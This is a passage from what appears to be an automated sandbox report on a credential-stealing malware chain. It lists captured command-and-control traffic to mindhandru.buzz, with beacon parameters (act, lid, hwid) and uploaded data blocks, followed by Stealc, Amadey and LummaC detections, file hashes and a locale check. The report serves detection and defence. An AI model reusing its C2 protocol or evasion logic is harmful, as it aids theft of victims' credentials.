77 f9 99 10 bd 2d ec 8b 01 f8 d8 60 b2 ed 94 c9 8f 6b cb df 8f 18 e0 df d9 44 72 34 72 b3 dd 87 6e Data Ascii: o]ESB^(=Q.sp~x#sv%=ys Y]lEYaKb'4/BFU~mzm-uyu;VU]^,"_:7GhAGAlo~/0'wVDX'9og)w-`kDr4rn
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: 6c 38 08 ea d0 66 4a f7 09 79 4f 70 fd 04 8b b0 a1 2d 73 5f e9 c2 8c a4 22 2e 16 a5 64 c7 83 d8 2f 55 57 f3 00 22 b1 f3 d8 2e cf 36 3d 20 86 a1 c9 17 a3 ad 0d 49 d5 16 cf 85 a1 2f 42 29 ac 3f ae ac 3f ff d6 d2 5e 46 72 37 b2 b6 26 38 ca ef 5d 69 4a 1c f3 60 96 e2 fc a1 75 41 6b f6 f1 f8 85 08 56 6b e2 b6 46 2c 59 63 90 41 61 e0 c7 1a 1e 7d 78 fd fb b5 0d dd ee 2d ac fb 8e d3 dc 65 e5 fe 2d 71 a3 d6 1a f9 32 eb 5e de 54 07 14 35 86 2e 76 b2 9b 07 d0 96 7e fc f2 bc 71 31 d4 d2 0a 5f 10 b7 51 81 89 9e 7b af 76 ea de b1 90 39 a7 5e 4f bf ec ee 17 cd 42 01 74 df 1b ca 81 38 1d 09 b9 55 e5 dd 28 5c cc 4a fe c3 0a 54 e6 e5 20 c6 c8 11 f5 f0 9e 1f c2 de ea 7f 4d f0 a8 9f 72 af dd 2f ea a7 8d 3c 8b ff 74 48 4d ec af ab d8 ae 1b 89 23 7d 3e 86 29 d3 9f 17 02 6e b5 Data Ascii: l8fJyOp-s_".d/UW".6= I/B)??^Fr7&8]iJ`uAkVkF,YcAa}x-e-q2^T5.v~q1_Q{v9^OBt8U(\JT Mr/<tHM#}>)n
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: 45 91 0e e3 24 01 ed 3b 1a 96 95 0e cb 90 04 5f 34 8a a5 b8 2a 07 3f f2 9b 9a 56 93 61 aa f2 9f a2 07 f1 2e d6 cb 6e dc 5c a3 32 71 ea d9 b9 3d e3 f7 6c 62 ea 1d 0e 0b 8d 0c 90 9a 79 e7 e8 a0 80 ac 86 de ee 1b 74 b6 66 de b2 ba bc 7f af d2 fb e0 c2 9b ec 02 34 55 b1 9a df 40 9e 27 f5 08 80 77 cf c3 56 1c db 5b 0f a2 35 d7 56 88 70 92 2a 47 c6 6d 8c c9 70 98 f3 7d 49 b7 6e dd 01 1e ec d9 a0 0b 87 40 63 f1 03 65 a9 e6 fa 61 ef 25 4e 6d c5 09 ae 19 3d b9 68 78 6f b2 e0 e3 80 e9 48 0a 82 76 2d 3d f7 09 98 f5 ba 8e d2 b4 55 e4 8f 12 1b 29 c9 3a c2 c9 15 fe e7 96 31 d6 b0 b5 22 e0 9d 4d a1 a6 de f5 4e 39 85 74 1e 53 db 50 dc 6e ba 09 e3 f0 85 bb f1 0b 55 e1 9a bb 3d 88 e6 e3 f8 0a fe 63 23 67 5e e1 68 6d 59 e6 a8 6b 9a 4b 80 59 a0 74 b6 5a 61 02 d9 57 23 a0 02 Data Ascii: E$;_4?Va.n\2q=lbytf4U@'wV[5VpGmp}In@cea%Nm=hxoHv-=U):1"MN9tSPnU=c#g^hmYkKYtZaW#
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: 1d bb 8b d1 fc a4 52 90 fe f6 7b 3c c7 d2 89 75 27 ab 40 7f 14 22 8d 7c 2d 9b 77 cc 96 22 34 8a 80 33 b3 bb 3e 68 04 81 6a e7 60 ce 4f 34 17 68 a2 99 e8 85 1c c5 2a 39 71 08 8a 6f 72 7b ac 51 7d d4 af bb 91 3e 1e 5c 04 ce 33 65 f6 ec e7 3d 4d 70 f8 06 42 51 21 d5 87 95 dc 87 cd 3b 30 8e 6c 8e 5b 9b db 2b 13 35 fb 79 70 81 57 5d 80 6e 92 5e 91 c8 76 74 04 d7 7a fe 76 1d f6 5c 73 af b4 fb 38 1d 4f 8a 73 a6 20 0c 2d 7f 3e 0a 44 c1 7d b8 01 54 c0 27 82 7a 2c e2 34 44 b8 b7 c3 d1 4c dc 4c 11 3c 82 35 c2 c1 5d 55 e6 da 4c 2c c8 22 10 8c 0d ef 53 c6 45 f1 71 97 69 52 e8 7b 4c 31 72 6c 5c 4c 7b 5b d1 ea fd 67 6a 93 5b 82 bc 33 7a 3a 8b 26 d2 70 e1 25 54 8a 33 b1 f6 14 52 60 ef 41 bb fd 12 a4 3f 49 b6 ff 5f 1f 6c cd ff 81 06 2b 61 10 45 c8 03 d4 03 07 00 61 94 f6 Data Ascii: R{<u'@"\|-w"43>hj`O4h*9qor{Q}>\3e=MpBQ!;0l[+5ypW]n^vtzv\s8Os ->D}T'z,4DLL<5]UL,"SEqiR{L1rl\L{[gj[3z:&p%T3R`A?I_l+aEa
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: d5 7f 10 19 87 88 c1 b0 6c 3c a7 bb 93 5e 4f 8e 0c bf 63 ff ed 71 24 b0 2d 69 a3 22 7f 6c e7 8a 55 49 67 c9 11 56 73 89 3c f3 e5 ce 9c 40 a0 ad 2c 7b f7 f7 f7 d6 c1 dd 43 ad 83 3b c3 89 65 55 20 28 d6 7f 7f 84 7f 9b ff 51 f1 d4 e1 7c 34 b3 56 03 a4 61 60 67 f9 dd ec 1d da 70 c5 e8 8d 01 af 4a 9d a9 fa d9 22 3c f0 2d 8c a0 0e 37 71 b2 34 cc da 2e 4c 29 66 d8 ed 7e f0 5b 0d fa 3b 84 87 93 21 5a 7e 35 94 ae 33 38 61 8d 46 47 f8 73 de 3b bb 99 71 83 c0 74 0a 14 f8 13 49 fb a9 07 74 3d 38 a3 f9 00 8a 59 f6 f5 31 0a 1e 76 43 c3 7a 75 d4 d3 4f 77 d4 d0 00 e2 3c 7d 45 a6 df c4 4b c7 01 33 13 bd df 37 72 6d e7 55 57 f0 79 c3 62 63 9f 24 c1 15 31 54 a2 12 d0 b4 c1 ef 39 11 66 5c b8 ff ad 9a 2e 43 c1 83 86 b4 97 fc a0 e9 04 e2 74 e1 7f 48 12 a2 ea 4e f5 05 77 b5 ba Data Ascii: l<^Ocq$-i"lUIgVs<@,{C;eU (Q\|4Va`gpJ"<-7q4.L)f~[;!Z~538aFGs;qtIt=8Y1vCzuOw<}EK37rmUWybc$1T9f\.CtHNw
2024-12-27 07:50:41 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=no388qa6q5sldp6pt4a002d44l; expires=Tue, 22 Apr 2025 01:37:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bbw%2FcIy958LbMVveN38lX%2FTRLAdNW39bW7TJDvhNdGRbMG8ffHihWKX5iBS%2FKvx%2BcgGCM5lT0zdk0GpedLJ7xmvF8lAF2JlkVue7dJuRnxvQ2EilcfBQs%2F6LYTOZa%2ByHfQc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b890eceaf795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1666&rtt_var=660&sent=344&recv=596&lost=0&retrans=0&sent_bytes=2837&recv_bytes=574486&delivery_rate=1752701&cwnd=187&unsent_bytes=0&cid=7f99d26d67006104&ts=2676&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49746	104.21.11.101	443	2320	C:\Users\user\Desktop\8WRONDszv4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:50:43 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: mindhandru.buzz
2024-12-27 07:50:43 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 43 43 46 43 33 38 44 43 42 41 36 31 31 33 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=CCFC38DCBA611319BEBA0C6A975F1733
2024-12-27 07:50:43 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=70qsct2cqa79jnuidnsjac76nk; expires=Tue, 22 Apr 2025 01:37:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zl6pATfXBfkoS0DTqWXBSJokahU6MCSeIjO7G%2Bx1Y4UAcqruL5cvxZi3eSbZloBmJVb16SwgVbhDX2Os3ror%2F25LpqykrbaeJeHujMMT%2BNOWiB%2FItq2%2B6U53NG3awvQvD4U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b8a9e93a430e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1600&rtt_var=604&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=981&delivery_rate=1805813&cwnd=186&unsent_bytes=0&cid=8f7535c19c762421&ts=752&x=0"
2024-12-27 07:50:43 UTC	222	IN	Data Raw: 64 38 0d 0a 75 47 51 44 45 77 32 51 6b 59 34 68 2b 38 61 4d 77 50 6d 67 70 5a 72 76 45 6c 66 6b 64 69 41 58 65 57 45 5a 35 73 34 4d 59 6c 54 6a 48 79 46 6d 4c 36 71 7a 35 6c 57 50 74 72 61 63 31 76 79 4b 71 39 63 6e 65 64 5a 48 46 54 6c 49 55 43 72 49 2f 7a 6f 2b 65 38 73 51 5a 6e 4a 67 7a 4c 37 38 51 4a 57 69 34 36 33 58 78 64 33 2f 7a 54 35 31 67 67 49 43 4c 55 6c 4e 4f 34 50 73 4e 6c 49 70 6c 42 38 68 5a 69 2b 71 73 2b 5a 56 6a 37 61 32 6e 4e 62 38 69 71 76 58 4a 33 6e 57 52 78 55 35 53 46 41 71 79 50 38 36 50 6e 76 56 44 57 31 32 55 62 2f 6a 37 30 2b 66 71 65 48 75 6e 4e 6a 41 75 4d 4d 77 4d 5a 42 55 47 69 64 56 51 33 7a 45 39 44 77 66 43 51 3d 3d 0d 0a Data Ascii: d8uGQDEw2QkY4h+8aMwPmgpZrvElfkdiAXeWEZ5s4MYlTjHyFmL6qz5lWPtrac1vyKq9cnedZHFTlIUCrI/zo+e8sQZnJgzL78QJWi463Xxd3/zT51ggICLUlNO4PsNlIplB8hZi+qs+ZVj7a2nNb8iqvXJ3nWRxU5SFAqyP86PnvVDW12Ub/j70+fqeHunNjAuMMwMZBUGidVQ3zE9DwfCQ==
2024-12-27 07:50:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49983	104.21.11.101	443	4232	C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:52:26 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 07:52:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 07:52:27 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:52:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5lb5s4ktchn7mnglv7e0t14kr8; expires=Tue, 22 Apr 2025 01:39:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1WznWcPPZV3t7Y5Mr0yShXl6Xb23zgpa0535Kkjfj1Jx0x2PBt0IOqVOUc8ljZJxmuIUMLgvJUZkinIiw4PevseDSFw1Xb6ek%2F%2FPgiiCDNNAxoMZ6HbtLs%2BJjlXQHUIHrKQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87bb2de89f440c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1659&min_rtt=1643&rtt_var=628&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1777236&cwnd=252&unsent_bytes=0&cid=f498a39c3f1d9089&ts=800&x=0"
2024-12-27 07:52:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 07:52:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:50:20
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\8WRONDszv4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8WRONDszv4.exe"
Imagebase:	0xbf0000
File size:	1'880'064 bytes
MD5 hash:	06473103F0CE27B3600328C027B7AC83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2256604206.000000000164C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2256312465.0000000001637000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:50:52
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe"
Imagebase:	0x920000
File size:	5'242'880 bytes
MD5 hash:	17D940E3012D0A3589F9DCB08CB8AACB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.2512124183.0000000000921000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.2514093673.000000000159E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:50:58
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe"
Imagebase:	0x20000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:51:06
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xea0000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:52:00
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xea0000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:52:13
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"
Imagebase:	0xc20000
File size:	1'995'776 bytes
MD5 hash:	3B6A8C673CDBE5C6944E92E7DE9F75CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000A.00000002.3266454164.000000000444A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:52:14
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"
Imagebase:	0x70000
File size:	1'995'776 bytes
MD5 hash:	3B6A8C673CDBE5C6944E92E7DE9F75CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:52:14
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"
Imagebase:	0x6b0000
File size:	1'995'776 bytes
MD5 hash:	3B6A8C673CDBE5C6944E92E7DE9F75CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:52:22
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe"
Imagebase:	0x8c0000
File size:	1'895'424 bytes
MD5 hash:	C63D467232A6D3A2F8DBB8E002650A84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	749
Total number of Limit Nodes:	24

Executed Functions

Function 0005652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0005652A,?,?,?,?,?,00057661), ref: 00056567

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: f5dbafb3ec4d8ecad47f646842bd33540f417e6c87c9a6107acf2c407ef39e62
Instruction ID: 020c684910eb33fbbf79eb14c610aabe3717714d53a90fe226dfd02f69160458
Opcode Fuzzy Hash: f5dbafb3ec4d8ecad47f646842bd33540f417e6c87c9a6107acf2c407ef39e62
Instruction Fuzzy Hash: 2FE0863004050C6ECF657F58C90998A3BA9EB12746F900900FD0597122DB66ED85C641

Function 048700BC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2614473734.0000000004870000.00000040.00001000.00020000.00000000.sdmp, Offset: 04870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4870000_YHOCXQOWEM64H1IK2TUEH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60ca94ffb0fe30e39f9471baa09541766dadff88f7df7e8a192ae7afabf45d7
Instruction ID: 1cca6856491e6671ad1546d93674bc686fa26273b59e477cb3abbbedf073c2e5
Opcode Fuzzy Hash: c60ca94ffb0fe30e39f9471baa09541766dadff88f7df7e8a192ae7afabf45d7
Instruction Fuzzy Hash: 5301F1AB78C11DED95435D415A309B63A2EB6A73BC3344F26B90BCA601F691FA853071

Function 00025C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 00026054
00000422, xrefs: 000260C9
00000423, xrefs: 000260FA
0000043f, xrefs: 0002612B
00000419, xrefs: 00026098

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

